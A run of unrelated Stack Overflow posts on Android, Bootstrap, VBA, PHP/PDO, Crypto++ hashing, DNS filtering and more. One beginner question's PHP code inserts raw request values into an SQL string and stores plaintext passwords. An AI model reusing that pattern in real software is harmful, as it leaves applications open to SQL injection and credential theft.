com.mypacks.internals.otaku.BaseFeedParser.getInputStream(BaseFeedParser.java:36) 07-29 13:24:20.903: E/AndroidNews(670): at com.mypacks.internals.otaku.XmlPullFeedParser.parse(XmlPullFeedParser.java:19) 07-29 13:24:20.903: E/AndroidNews(670): ... 16 more 07-29 13:24:21.173: I/Choreographer(670): Skipped 44 frames! The application may be doing too much work on its main thread. 07-29 13:24:21.223: D/gralloc_goldfish(670): Emulator without GPU emulation detected. </code></pre>
36188041	0	Bootstrap CSS Woes <p>Having trouble with a website I'm making at the moment. I'm using bootstrap and on one particular page using basic bootstrap css something just won't line up.</p> <p>My code is as follows :-</p> <pre><code>&lt;section id="aboutUs"&gt; &lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="col-xs-12 col-sm-12 col-md-6 col-lg-6"&gt; &lt;img style="width: 500px; height: 288.31775700934577px;" src="/media/1010/macbook-front.png?width=500&amp;amp;height=288.31775700934577" alt="" rel="1255" data-id="1255" /&gt; &lt;br /&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-12 col-md-6 col-lg-6"&gt; &lt;h3&gt;Passion is what we stand for&lt;/h3&gt; &lt;p&gt;Manta Ray bonytail chub. Russian sturgeon yellow tang cichlid creek chub--Siamese fighting fish poacher--sablefish bichir? Bonnetmouth gray eel-catfish luminous hake frogfish rohu, eel tope snake eel clown loach northern squawfish Australian prowfish, wrymouth.&lt;/p&gt; &lt;br /&gt; &lt;blockquote&gt; &lt;p&gt;Good is the enemy of great&lt;/p&gt;Innova Tamashi &lt;/blockquote&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="col-lg-12"&gt; &lt;hr /&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="col-xs-12 col-sm-12 col-md-4 col-lg-4"&gt; &lt;h3&gt;Who we are&lt;/h3&gt; &lt;p&gt;Enjoy smooth graphics and timeless design with Innova. Elements of different trends are blended into a special mix.&lt;/p&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-12 col-md-4 col-lg-4"&gt; &lt;h3&gt;What we do&lt;/h3&gt; &lt;p&gt;Enjoy smooth graphics and timeless design with Innova. Elements of different trends are blended into a special mix.&lt;/p&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-12 col-md-4 col-lg-4"&gt; &lt;h3&gt;Why we do it&lt;/h3&gt; &lt;p&gt;Enjoy smooth graphics and timeless design with Innova. Elements of different trends are blended into a special mix.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/section&gt; </code></pre> <p>The issue is that in the last row (which contains the 'Who we are', 'What we do') the div's all appear out of line as can be seen <a href="http://4ourbusiness.azurewebsites.net/about-us/" rel="nofollow">here</a>. I can't figure out why it's doing it as they should be all in line from what I can tell. Any ideas guys?</p>
33387379	0	 <p>You could try to use </p> <pre><code>date('H:i:s:u', $date); </code></pre> <p>Notice that H is hour, s is second, i is minute, and u is microseconds.</p> <p>Hope it helps.</p>
2911455	0	 <p>I'm a fan of:</p> <pre><code>%w{An Array of strings} #=&gt; ["An", "Array", "of", "Strings"] </code></pre> <p>It's sort of funny how often that's useful.</p>
27490902	0	How to launch an Android App when it is not running <p>I am interested in figuring out how to launch an Android App when it is not running. Lets assume the app is already installed on the user's device, but the app is not running. When the user accesses a particular wifi network, I'd like the app to be launched automatically.</p> <p>How can this be accomplished? Would you recommend to use an Android Service that is running in the background to launch the app? Does the Android Service run in the background at all times? Would this put a heavy load on the phone to constantly check for the status of the Wifi connection?</p> <p>Thank you! Natalie</p>
39998537	0	Most appropriate way to store/retrieve User Input in a eCommerce iOS application? <p>I'm a bit confused with <code>Sqlite</code>, <code>Core Data</code>, <code>NSUserDefaults</code>and <code>PropertyList</code>. I know what is what, but not a very clear idea of about where to appropriately use them. </p> <p>I know that there are lots of tutorials, but I'm good at learning through situation based understanding. So kindly do help me to understand this in the situation that I'm facing right now and to make use of the available options wisely.</p> <p>I'm working on an ECommerce iOS (native) application, where I'm highly dependent on <code>API's</code> for data display. Now I'm in need of recording user's review for a product and send it over through an API.</p> <p>ie. I have three components, <code>rating title</code>, <code>rating value</code>(for that title) and another <code>rating title ID</code>. I'm defining with an example, I need to store multiple rows with details,</p> <pre><code>Components Data to be stored **Title** - Quality | Value | Price | | **Rating** - 2 | 3 | 1 | | **TitleID** - 10 | 11 | 12 </code></pre> <p>Like this, there will be so many entries, i.e, the number of <code>components</code> differs for various users, for some users, there might be more than three components, which must be saved &amp; send through an API. So how should I save these data? which is the <code>RIGHT</code> way to save these data temporarily?</p>
16976002	0	 <p>You can use any <a href="http://en.wikipedia.org/wiki/YAML" rel="nofollow">YAML</a> parsing library, look <a href="http://stackoverflow.com/questions/365155/parse-yaml-files-in-c-c">here</a> for example.</p>
36749392	0	Using VBA To Delete Thousands of Checkboxes <p>Somehow 10s of thousands of checkboxes were created in some spreadsheets that we have. I'm not sure how this happened but we cannot open the sheets in Excel 2010 only in Excel 2003 because of it. I wrote some VBA script to go through and delete the extra checkboxes and it works for most of the files. But, some files seem to have way more checkboxes than others and the script dies with an Out of Memory error. This is my script:</p> <pre><code>Sub ProcessFiles() Dim Filename, Pathname, LogFileName As String Dim wb As Workbook Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") Set log = fso.OpenTextFile("Z:\Temp\Fix.log", 8, True, 0) PrintLog ("*** Beginning Processing ***") Pathname = "Z:\Temp\Temp\" Filename = Dir(Pathname &amp; "*.xls") Do While Filename &lt;&gt; "" PrintLog ("Opening " &amp; Pathname &amp; Filename) Set wb = Workbooks.Open(Pathname &amp; Filename) DoWork wb PrintLog ("Saving file " &amp; Pathname &amp; Filename) wb.Close SaveChanges:=True Filename = Dir() Loop log.Close End Sub Sub DoWork(wb As Workbook) Dim chk As CheckBox Dim c As Integer With wb Worksheets("Vessel &amp; Voyage Information").Activate PrintLog ("Getting count of checkboxes") c = ActiveSheet.CheckBoxes.Count PrintLog (c &amp; " checkboxes found") If (c &lt;= 43) Then PrintLog ("Correct # of checkboxes. Skipping...") Else c = 0 For Each chk In ActiveSheet.CheckBoxes If Not (Application.Intersect(chk.TopLeftCell, Range("D29:D39")) Is Nothing) Then chk.Delete c = c + 1 End If Next PrintLog ("Deleted " &amp; c &amp; " checkboxes.") End If End With End Sub Public Sub PrintLog(argument As String) If Not log Is Nothing Then log.WriteLine Format(Now(), "yyyy-MM-dd hh:mm:ss") &amp; ": " &amp; argument End If End Sub </code></pre> <p>The script fails at the <code>c = ActiveSheet.CheckBoxes.Count</code> in <code>DoWork</code> or, if I comment that line out, then at the <code>For Each chk In ActiveSheet.CheckBoxes</code>. I am guessing that calling <code>ActiveSheet.CheckBoxes</code> gathers up all the checkboxes and there are too many so it dies.</p> <p>Is there a way to step through each checkbox on a worksheet without using <code>ActiveSheet.CheckBoxes</code>?</p>
33712033	0	the formulaire html and php/pdo <p>can someone help me please I search from a week and the page post Notice: Undefined index: username in C:\Program Files\EasyPHP-DevServer-14.1VC9\data\localweb\test.php on line 17</p> <p>Notice: Undefined index: password in C:\Program Files\EasyPHP-DevServer-14.1VC9\data\localweb\test.php on line 19</p> <p>Notice: Undefined index: email in C:\Program Files\EasyPHP-DevServer-14.1VC9\data\localweb\test.php on line 21</p> <p>and i don't find the problem in the code and please explaine i want to learn thank you </p> <pre><code>'&lt;form action="test.php" method="post"&gt; &lt;input placeholder="username" type="text" name="username" &gt;&lt;/input&gt; &lt;input placeholder="password"type="password" name="password" &gt;&lt;/input&gt; &lt;input placeholder="email"type="email" name="email" &gt;&lt;/input&gt; &lt;input type="submit" value="OK"/&gt;&lt;/input&gt; &lt;/form&gt; &lt;?php $dsn = 'mysql:dbname=guyideas;host=localhost'; $user = 'root'; $password = ''; $dbh = new PDO($dsn, $user, $password); $username = $_GET['username']; $password = $_GET['password']; $email = $_GET['email']; $stmt = $dbh-&gt;exec('INSERT INTO `guyideas`.`users` (`username`, `password`, `email`) VALUES ("'.$username.'", "'.$password.'","email");'); ?&gt;' </code></pre>
13623723	0	How do you log an uncaught exception in Java? <p>My client is testing my beta phase Java application on a data that he cannot provide me with (privacy reasons). Although I implemented the handling of most exceptions, application crashes on rare occasions.</p> <p>Can I log the stacktrace of an uncaught exception to a file so that tester can provide me with it(e.g. <code>NullPointerException</code>)?</p>
24864680	0	iOS UITableView contents not visible <p>In a VC I have 2 tableViews - 1 main and other is added in a drop down menu. From drop down menu TableView "<code>ddTableView</code>", I have added 5 <code>cells</code> in Storyboard itself as prototype cells. Each <code>cell</code> contains an <code>image</code> and a <code>Label</code>. Have also set identifier for each <code>cell</code>. Have also set Accessory Type as "Disclosure Indicator" for each <code>cell</code> of <code>ddTableView</code>. </p> <p>DataSource and Delegate for mainTV is set to the VC and delegate for ddTableView is set the VC. As the rows are added within the storyboard, I didn't set any datasource for <code>ddTableView</code> in my <code>VC</code>. I managed my delegate methods like this :-</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { if (tableView == ddTableView) { // RETURNS NIL ??? UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath]; NSLog(@"CELL Identifier = %@", cell.reuseIdentifier); return cell; } else { } } -(void )tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (tableView == ddTableView) { UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath]; NSLog (@" CELL Clicked of - %@", cell.reuseIdentifier); } } -(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { if (tableView == ddTableView) return 44; else return 60; } -(NSInteger) tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { if (tableView == ddTableView) return 5; else return [chatMsgsArr count]; } </code></pre> <p>It does call respective delegate method. For <code>cellForRowAtIndexPath</code> it returns cell as nil. Why so ? And on execution, I don't see any contents of the table view - table is blank. I changed the bg color of image and text color also, but yet nothing is seen on execution. </p> <p>Why so ? Where I may be going wrong ? </p>
25836757	0	How can I configure my Grunt.js file to copy a directory without a particular subdirectory during the build? <p>Given that the Gruntfile is located in parent/aurora/Gruntfile.js,</p> <p>I'd like to configure Grunt to do the following when the build command is executed:</p> <ul> <li>copy the entire project directory into parent/build/aurora EXCEPT /parent/aurora/node_modules</li> <li>once the directory haas been copied, create a zip file and delete the directory</li> </ul> <p><a href="https://github.com/antonpug/aurora/blob/master/Gruntfile.js" rel="nofollow">https://github.com/antonpug/aurora/blob/master/Gruntfile.js</a> </p>
12334694	0	 <p>Baseline-shift is not supported in IE9, IE10, and Firefox, see:</p> <p><a href="http://msdn.microsoft.com/en-us/library/gg558060(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/gg558060(v=vs.85).aspx</a> https://bugzilla.mozilla.org/show_bug.cgi?id=308338</p> <p>If you're acually trying to display formulas, a better fit would be MathML embedded within SVG, see:</p> <p><a href="http://www.maths-informatique-jeux.com/international/mathml_with_other_standards/index.php">http://www.maths-informatique-jeux.com/international/mathml_with_other_standards/index.php</a></p> <p>If you want a quickfix for the example you provided, you can emulate baseline-shift with <code>dy</code>...</p> <pre><code>&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"&gt; &lt;g&gt; &lt;text x = "10" y = "25" font-size = "20"&gt; &lt;tspan&gt; e = mc &lt;tspan dy ="-10"&gt;2&lt;/tspan&gt; &lt;/tspan&gt; &lt;tspan x = "10" y = "60"&gt; T &lt;tspan dy="10"&gt;i+2&lt;/tspan&gt; &lt;tspan dy="-10"&gt;=T &lt;/tspan&gt; &lt;tspan dy="10"&gt;i&lt;/tspan&gt; &lt;tspan dy="-10"&gt;+ T&lt;/tspan&gt; &lt;tspan dy="10"&gt;i+1&lt;/tspan&gt; &lt;/tspan&gt; &lt;/text&gt; &lt;/g&gt; &lt;/svg&gt; </code></pre> <p>​http://jsfiddle.net/UQ5Dp/</p>
40096834	0	 <blockquote> <pre><code>CryptoPP::Base64Decoder decoder; decoder.Put((byte*)nonce.data(), nonce.size()); std::vector&lt;uint8_t&gt; bytes(decoder.MaxRetrievable(),0); decoder.Get(&amp;bytes[0],bytes.size()); </code></pre> </blockquote> <p>Call <code>MessageEnd</code>:</p> <pre class="lang-cxx prettyprint-override"><code>Base64Decoder decoder; decoder.Put((byte*)nonce.data(), nonce.size()); decoder.MessageEnd(); vector&lt;uint8_t&gt; bytes(decoder.MaxRetrievable(),0); decoder.Get(&amp;bytes[0],bytes.size()); </code></pre> <p>Ditto:</p> <pre class="lang-cxx prettyprint-override"><code>Base64Encoder encoder; encoder.Put(digest, 20); encoder.MessageEnd(); string hash64(encoder.MaxRetrievable(), 0); encoder.Get((byte*)hash64.data(), hash64.size()); </code></pre> <p>Also see <a href="http://www.cryptopp.com/wiki/Base64Encoder#Missing_Data" rel="nofollow">Base64Encoder | Missing Data</a> and <a href="http://www.cryptopp.com/wiki/Base64Decoder#Missing_Data" rel="nofollow">Base64Decoder | Missing Data</a> on the Crypto++ wiki.</p> <hr> <blockquote> <p>Nor indeed can I duplicate the result using any other approaches, like a full C# test bed using all of the .NET crypto resources.</p> </blockquote> <p>I don't know C# as well as Crypto++, so I can't help with a C# example that works as expected with ONVIF authentication.</p> <hr> <p>Here's the result I get:</p> <pre class="lang-none prettyprint-override"><code>$ g++ test.cxx -I. ./libcryptopp.a -o test.exe $ ./test.exe tuOSpGlFlIXsozq4HFNeeGeFLEI= </code></pre> <p>And the <code>cat test.cxx</code>:</p> <pre class="lang-cxx prettyprint-override"><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;vector&gt; #include "base64.h" #include "sha.h" std::string nonce = "LKqI6G/AikKCQrN0zqZFlg=="; std::string dt = "2010-09-16T07:50:45Z"; std::string pwd = "userpassword"; int main(int argc, char* argv[]) { CryptoPP::Base64Decoder decoder; decoder.Put((byte*)nonce.data(), nonce.size()); decoder.MessageEnd(); std::vector&lt;uint8_t&gt; bytes(decoder.MaxRetrievable(),0); decoder.Get(&amp;bytes[0],bytes.size()); CryptoPP::SHA1 hash; byte digest[CryptoPP::SHA1::DIGESTSIZE]; hash.Update(bytes.data(), bytes.size()); hash.Update((const byte*)dt.c_str(), dt.size()); hash.Update((const byte*)pwd.c_str(), pwd.size()); hash.Final(digest); CryptoPP::Base64Encoder encoder; encoder.Put(digest, 20); encoder.MessageEnd(); std::string hash64(encoder.MaxRetrievable(), 0); encoder.Get((byte*)hash64.data(), hash64.size()); std::cout &lt;&lt; hash64 &lt;&lt; std::endl; return 0; } </code></pre>
8818569	0	why such a difference in file contents C# <p>My intention is to write a <code>byte[]</code> to a file. Code snippet is below:</p> <pre><code>byte[] stream = { 10, 20, 30, 40, 60 }; for (int i = 0; i &lt; 2; i++) { FileStream aCmdFileStream = new FileStream(@"c:\binarydata.txt", FileMode.Append, FileAccess.Write, FileShare.None); StreamWriter aStreamWriter = new StreamWriter(aCmdFileStream); for (int ii = 0; ii &lt; stream.Length; ii++) { aStreamWriter.Write(stream[ii]); aStreamWriter.WriteLine(); aStreamWriter.BaseStream.Write(stream,0,stream.Length); } aStreamWriter.Close(); } </code></pre> <p>Output of this code snippet</p> <pre><code>(&lt; (&lt; (&lt; (&lt; (&lt;10 20 30 40 60 (&lt; (&lt; (&lt; (&lt; (&lt;10 20 30 40 60 </code></pre> <p>When <code>StreamWriter.Write()</code> is used it dumps the values which are stored in array. But <code>StreamWriter.BaseStream.Write(byte[],int offset, int length)</code>, the values are totally different. What is the reason for this?</p>
24033536	0	 <pre><code>^example\.com </code></pre> <p>this regex will test if the string is starting with example.com</p>
16119538	0	 <p>I think the closest thing to what you seem to want is a <em>Hierarchical Recordset</em> in ADO. These can go multiple levels deep, or just two levels (a Recordset contining Chapter fields) as in your request:</p> <blockquote> <p>Regardless of which way the parent Recordset is formed, it will contain a chapter column that is used to relate it to a child Recordset. If you wish, the parent Recordset may also have columns that contain aggregates (SUM, MIN, MAX, and so on) over the child rows. Both the parent and the child Recordset may have columns which contain an expression on the row in the Recordset, as well as columns which are new and initially empty.</p> <p>You can nest hierarchical Recordset objects to any depth (that is, create child Recordset objects of child Recordset objects, and so on).</p> <p>You can access the Recordset components of the shaped Recordset programmatically or through an appropriate visual control.</p> </blockquote> <p>The key to this is using the Data Shaping Service, an OLEDB Provider which "rides on top of" your underlying Provider (even if only the local Cursor Service Provider <em>implied</em> when using client-side cursors).</p> <p>Some description and a crude example can be found in the <a href="http://support.microsoft.com/kb/196029" rel="nofollow">How To Create Hierarchical Recordsets Programmatically</a> Support article.</p> <p>More details and reference material can be found at <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms676186%28v=vs.85%29.aspx" rel="nofollow">Data Shaping</a>, including the SQL-like language used to define Shape commands.</p> <hr> <p>Or are you asking about <em>paged</em> Recordsets, as in <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms681431%28v=vs.85%29.aspx" rel="nofollow">PageSize Property (ADO)</a> instead?</p>
5344637	0	 <p>It looks like the selector you are choosing (<code>removeAnimation:</code>) and the method you are showing (<code>method:</code>) are not named the same.</p> <p>An easier approach would be to do something like this:</p> <pre><code>-(void)viewDidLoad { UIImage *first = [UIImage imageNamed:@"panda1.png"]; animation = [[UIImageView alloc] initWithImage:first]; animation.animationImages = [NSArray arrayWithObjects: first, [UIImage imageNamed:@"panda2.png"], [UIImage imageNamed:@"panda3.png"], nil]; animation.animationRepeatCount = 4; animation.animationDuration = 2; [animation startAnimating]; [self.view addSubview:animation]; [self performSelector:@selector(removeAnimation) withObject:nil afterDelay:8.0]; //for loading the image at start up NSString *urlAddress = @"http://projects.seng.uvic.ca/most_recent.php"; NSURL *url = [NSURL URLWithString:urlAddress]; NSURLRequest *requestObj = [NSURLRequest requestWithURL:url]; //load the request in the UIWebView [webView loadRequest:requestObj]; } - (void)removeAnimation { [animation removeFromSuperview]; [animation release]; } </code></pre> <p>Hello, I'm a Panda.</p>
16250339	0	 <p>I am aware of two approaches:</p> <ul> <li><p><code>subplot('position',[left bottom width height])</code> function allows to position a subplot anywhere in normalized coordinate frame. </p></li> <li><p>convert the figure to <code>*.eps</code> format and remove the space manually in some <a href="http://www.osalt.com/corel-draw" rel="nofollow">graphic software</a>. This is best if you just need to prepare one figure for publication purposes.</p></li> </ul>
36779978	0	 <p>Well, it tries to link a static library into a dynamic one, and that static library (/opt/lib/python-3.5/lib/libpython3.5m.a) isn't suitable for that (compiled w/o -fPIC what makes it impossible to use it in a shared library). recompile that library with the flag (or simply supply one properly compiled) and re-try with Blender BPY.</p> <p>I've just checked, Ubuntu-14.04 didn't have python-3.5 in the official repos, but there's a bunch of dedicated PPAs. But since it's the end of April of 16, it'd better to switch your apt sources.list to Xenial and update the system to the next LTS, if you feel brave, or just python if you don't :)</p>
9956784	0	 <p>You call <code>to_i</code>, you get integer.</p> <p>Try calling <code>to_f</code>, you should get a float.</p> <p>For more string conversion methods, <a href="http://ruby-doc.org/core-1.9.3/String.html#method-i-to_c">look here</a>.</p>
25654501	0	URL redirection using powerdns and lua scripting <p>I am building an internal whitelist browsing filter server for a business. It is 95% operational. PowerDNS intercepts the DNS request and the LUA script correctly determines if the URL is whitelisted. The problem lies in the blacklist block page ... all I get is PAGE CANNOT BE DISPLAYED. The LUA script is getting to this line but the actual redirect never occurs:<br> return 0, {{qtype=pdns.A, content="1.2.3.4"}}<br> The 1.2.3.4 is where I put the actual IP of the PowerDNS server itself. Apache is not detecting that anything is getting to the server over port 80. If I navigate to 1.2.3.4 I do get the block page so I know apache is configured correctly and I have ServerAlias set to * to accept all domains. Thanks in advance.</p>
3061309	0	 <p>Thought I should reword my answer.</p> <p>The built-in massages are good for light damage (extra whitespace, no closing slashes, etc). I would certainly try and get away with these before getting any more involved.</p> <p>You can <a href="http://www.crummy.com/software/BeautifulSoup/documentation.html#Sanitizing%20Bad%20Data%20with%20Regexps" rel="nofollow noreferrer">pass in your own massages</a> and I would suggest you extend the default set:</p> <pre><code>import copy, re myMassage = [(re.compile('&lt;!-([^-])'), lambda match: '&lt;!--' + match.group(1))] myNewMassage = copy.copy(BeautifulSoup.MARKUP_MASSAGE) myNewMassage.extend(myMassage) BeautifulSoup(badString, markupMassage=myNewMassage) # Foo&lt;!--This comment is malformed.--&gt;Bar&lt;br /&gt;Baz </code></pre> <p>You're probably better off doing it this way as it all goes into one parsing pot, gaining BeautifulSoups optimisations... Although the runtime performance is probably pretty similar.</p>
40921084	0	 <p>you've mixed quoting</p> <pre><code> job: "find /opt/app/log/ -maxdepth 1 \( -name '*out.*[0-9]' -o -name '*.log.[0-9]' \) -type f -size +100M -exec tar -czf {}.tar.gz {} \;" </code></pre> <p>this should be better</p>
36564777	0	Extracting filter responses from Caffe model <p>I am having trouble trying to visualize the filter responses in a Caffe neural network using PyCaffe. <a href="http://nbviewer.jupyter.org/github/BVLC/caffe/blob/master/examples/00-classification.ipynb" rel="nofollow">This tutorial</a> has good instructions as to viewing the filters themselves, but not to visualize their responses on images. I had thought that the <code>data</code> blob after a convolutional layer would contain the responses, but that tutorial appears to demonstrate that it in fact contain the filters. How do I see these intermediate responses in the network?</p> <p>I am also curious as to how to extract the raw filter kernel. For example, I want to take the parameters from a 7x7x512 filter in Caffe and port it into MATLAB for use as a convolutional filter there. This way, rather than requiring me to run the network to delve into the filters being learned, I can use MATLAB to view the responses on my images. (In my case, this is preferable because I am running my Caffe network on a server with limited graphics while I have MATLAB on my local machine.)</p>
18177694	0	 <p>This error can happen if you have two jars that contains the same class names, e.g. I had two library: jsr311-api-1.1.1.jar, and jersey-core-1.17.1.jar, both containing the class javax.ws.rs.ApplicationPath. I removed jsr311-api-1.1.1.jar and it worked fine.</p>
19515477	0	angular-ui datepicker does not allow format dd.MM.yyyy when entered into the input field <p>I think the best way to describe this problem is to steer you to the Plunk:</p> <p><a href="http://plnkr.co/edit/cRO5UgAyZx5SHJSKrzg7?p=preview" rel="nofollow">http://plnkr.co/edit/cRO5UgAyZx5SHJSKrzg7?p=preview</a></p> <p>The angular-ui datepicker doesn't like us Europeans! Start by selecting a date in the datepicker. Let's say it's the 25th October (at least the day should be greater than 12). You see that the datepick-format has been set to dd.MM.yyyy and this is relfected in the date set in the input field. Now change the year. This is not shown in the datepicker. However, if you enter the date in the format MM.dd.yyyy, all is well.</p> <p>I've added the angular-locale_de-de.js, which seems to be working as can be seen in the spelling of Oktober. So why can't I enter a date in the European [correct-and-logical-day-before-month] format?</p>
12188569	0	How to find average of a col1 grouping by col2 <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/10748253/idiomatic-r-code-for-partitioning-a-vector-by-an-index-and-performing-an-operati">Idiomatic R code for partitioning a vector by an index and performing an operation on that partition</a><br> <a href="http://stackoverflow.com/questions/12185319/how-to-calculate-median-of-profits-for-a-particular-country">How to calculate median of profits for a particular country</a> </p> </blockquote> <p>I am trying to find average of a column by using another column in R.It's so easy to do it in SQL but not able to find proper functions and implement them.Here is some sample data as below.</p> <pre><code>data("Forbes2000", package = "HSAUR") head(Forbes2000) ## rank name country category sales profits assets marketvalue ## 1 1 Citigroup United States Banking 94.71 17.85 1264.03 255.30 ## 2 2 General Electric United States Conglomerates 134.19 15.59 626.93 328.54 ## 3 3 American Intl Group United States Insurance 76.66 6.46 647.66 194.87 ## 4 4 ExxonMobil United States Oil &amp; gas operations 222.88 20.96 166.99 277.02 ## 5 5 BP United Kingdom Oil &amp; gas operations 232.57 10.27 177.57 173.54 ## 6 6 Bank of America United States Banking 49.01 10.81 736.45 117.55 </code></pre>
17871501	0	 <pre><code>$data = file_get_contents('yourfile.txt'); echo '&lt;textarea&gt;', htmlspecialchars($data), '&lt;/textarea&gt;'; </code></pre> <p>The <a href="http://php.net/manual/en/function.file-get-contents.php" rel="nofollow"><code>file_get_contents()</code></a> loads the data, and then you just need to echo it. Using <a href="http://php.net/manual/en/function.htmlspecialchars.php" rel="nofollow"><code>htmlspecialchars()</code></a> takes care of escaping any of the data, as needed in the context of HTML.</p>
8672222	0	How to remove duplicated data <p>I've got a database my_table <code>[id,first,second,third]</code> with a lot of entries and want to delete duplicate data of entries <code>[first,second,third]</code>.</p> <p>so that no duplicate for <code>first</code> and no duplicate for <code>second</code> and no duplicate for <code>third</code> just any duplicate on each then will be deleted.</p> <pre><code>id first second third 1 addy any robert 2 addy kevin steve 3 jack ben adam </code></pre> <p>here i will remove duplicate for <code>first</code> so remove <code>2 addy kevin steve</code></p>
16535273	0	IEnumerable<T> with dynamic generic - C# <p>I am trying to achieve following, is it possible?</p> <pre><code>Type T = Type.GetType("EntityName") IEnumerable&lt;T&gt; entities = BaseRepository.GetEntities(searchCriteria) as IEnumerable&lt;T&gt;(); </code></pre>
40119204	0	With Javascript, How do I call a methods within another methods <pre><code>var hangman = { random: Math.floor((Math.random() * 3)), word_bank: ["hello", "bye", "hey"], select: "", guess: "", wins: 0, loss: 0, dashs: [], split: [], correct_letter: [], replace_dash: [], alphabet:['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ], select_word: function() { this.select = this.word_bank[this.random]; }, dash: function() { for (var i = 0; i &lt; this.select.length; i++) { if (this.select[i] == " ") { this.dashs.push("&amp;nbsp;"); } else { this.dashs.push("_"); } } }, split: function() { this.split = this.select.split(""); }, correct_i: function() { for (var i = this.select.length - 1; i &gt;= 0; i--) { if (this.split[i] == this.guess) { this.correct_letter.push(i) } } }, replace_dash: function(){ for (var i = 0; i &lt; this.correct_letter.length; i++) { this.dash[this.correct_letter[i]] = this.guess; } }, board_set: function(){ this.select_word(); this.dash(); this.split(); this.correct_letter = []; this.replace_dash = []; }, play_game: function(){ this.board_set(); console.log(hangman.dashs); console.log(hangman.split); var alphabet = this.alphabet; var gameboard = $("#game"); gameboard.html("&lt;p&gt;Game Board&lt;/p&gt;" + this.dashs.join(" ")); document.onkeyup = function(e){ this.guess = String.fromCharCode(e.keyCode).toLowerCase(); if (alphabet.indexOf(this.guess) &gt;= 0) { this.correct_i(); this.replace_dash(); console.log(correct_i); console.log(replace_dash); gameboard = $("#game"); gameboard.html("&lt;p&gt;Game Board&lt;/p&gt;" + this.dashs.join(" ")); } } } }; hangman.guess = "e"; </code></pre> <hr> <p>Within the play_game() I am trying to call the other methods within this method, but it keeps saying that the methods I am calling are not defined. I have tried to do:</p> <pre><code>hangman.correct_i(); hangman.replace_dash(); </code></pre> <p>and that doesn't work either.</p>
3763480	0	 <p>You're defining the same function signature many times. The different <code>throw()</code> qualifiers are not enough to disambiguate the functions.</p> <p>The <code>throw()</code> qualifier simply means that the specified function is only expected to throw the types listed in the parenthesis following the qualifier. However, this does not actually prevent the function from throwing. Rather, if the function actually <em>does</em> throw any unlisted types, your program will terminate. </p>
782732	0	 <p>Your boss wants to insult you, but sadly doesn't know what he is talking about. People "still stuck inside the Windows programming world" are generally using SourceSafe, or perhaps something really expensive like ClearCase.</p> <p>Subversion was developed with the goal of being a functional replacement for CVS, a goal which it pretty much succeeds at. Its probably OK to still use CVS if you are working an old project that already has CVS history. However, if you have a choice you should use SVN instead.</p> <p>That being said, you still at the end of the day are stuck with something built around CVS's workflow. The latest generation of revision control systems are much different. For instance, <a href="http://en.wikipedia.org/wiki/Distributed_revision_control" rel="nofollow noreferrer">distributed revision control systems</a> have far better tools for anyone who might ever have to access sources remotely (does your company have branch sites?) </p>
32963059	0	 <p>[EDIT from generator to function]</p> <p>You can try a function:</p> <pre><code>def check_answer(question, answer): while True: current_answer = input(question) if current_answer == answer: break print "Something wrong with question {}".format(question) return current_answer answerX = check_answer("Question about X?\n", "TrueX") answerY = check_answer("Question about Y?\n", "TrueY") answerZ = check_answer("Question about Z?\n", "TrueZ") </code></pre> <p>Not sure if you want to keep the values, but if you need to tweak it, this should give you hints. </p> <p>Results:</p> <pre><code>Question about X? "blah" Something wrong with question Question about X? Question about X? "blah" Something wrong with question Question about X? Question about X? "TrueX" Question about Y? "TrueY" Question about Z? "blah" Something wrong with question Question about Z? Question about Z? "blah" Something wrong with question Question about Z? Question about Z? "TrueZ" </code></pre> <p>Edit per comment:</p> <pre><code>def check_answer(question, answers): while True: current_answer = input(question) if current_answer in answers: break print "Something wrong with question {}".format(question) return current_answer answerX = check_answer("Question about X?\n", ("TrueX", "TrueY") </code></pre>
40945088	1	What does numpy.cov actually do <p>I am new to python and to linear algebra and I have a question about covariance of a matrix.</p> <p>I have a 21 by 2 matrix, where the first column represents the average score(from 0 to 10) of the video games released that year and second columns are years ranging from 1996 to 2016.</p> <p>I was playing around with the data and I noticed that by doing np.cov(X) I got a very interesting graph. I will list the graph below. It is my understanding that covariance shows the dependence among the variables in a dataset, but will it be correct to state that based on this covariance graph we can say that the average score of the games rises as the years rise ?</p> <p><a href="https://i.stack.imgur.com/llLT9.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/llLT9.jpg" alt="enter image description here"></a></p> <p>Thanks.</p>
5532477	0	C# Datagridview Edit Cell <p>I'm trying to put the cursor and focus in the last row and a specific cell with the column named 'CheckNumber'. I thought I had it with this:</p> <pre><code> var c = dataGridView1.RowCount; DataGridViewCell cell = dataGridView1.Rows[c-1].Cells[0]; dataGridView1.CurrentCell = cell; dataGridView1.BeginEdit(true); </code></pre> <p>but it keeps coming up with this error:</p> <p>Index -1 does not have a value.</p> <p>Can someone please point me in the right direction!? This is driving me nuts.</p> <p>Thank you!</p>
